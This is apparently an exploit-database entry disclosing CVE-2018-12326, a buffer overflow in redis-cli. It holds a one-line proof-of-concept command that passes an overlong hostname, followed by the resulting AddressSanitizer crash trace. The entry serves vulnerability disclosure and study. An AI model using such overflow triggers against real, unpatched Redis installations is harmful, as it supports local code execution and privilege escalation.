CVE-2018-12326

CVE-2018-12326.txt

# Exploit Title: Redis-cli Buffer Overflow
# Date: 2018-06-13
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://redis.io/
# Software Link: https://redis.io/download
# Version: 5.0, 4.0, 3.2
# Fixed on: 5.0, 4.0, 3.2
# CVE : CVE-2018-12326

Buffer overflow in redis-cli of Redis version 3.2, 4.0, and 5.0 allows a local attacker to achieve code execution and escalate to higher privileges via a long string in the hostname parameter.

$ ./src/redis-cli -h `python -c 'print "A" * 300'`
Could not connect to Redis at AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:6379: Name or service not known

 #0 0x4a4182 in vsnprintf /home/user/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1566
 #1 0x4a42d0 in snprintf /home/user/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1637
 #2 0x570159 in repl /home/user/redis/src/redis-cli.c:1624:5
 #3 0x55ba77 in main /home/user/redis/src/redis-cli.c:6660:9
 #4 0x7f6be5f6e82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
 #5 0x4247a8 in _start (/home/user/redis/src/redis-cli+0x4247a8)
 
 References:
 1. https://raw.githubusercontent.com/antirez/redis/4.0/00-RELEASENOTES
 2. https://raw.githubusercontent.com/antirez/redis/5.0/00-RELEASENOTES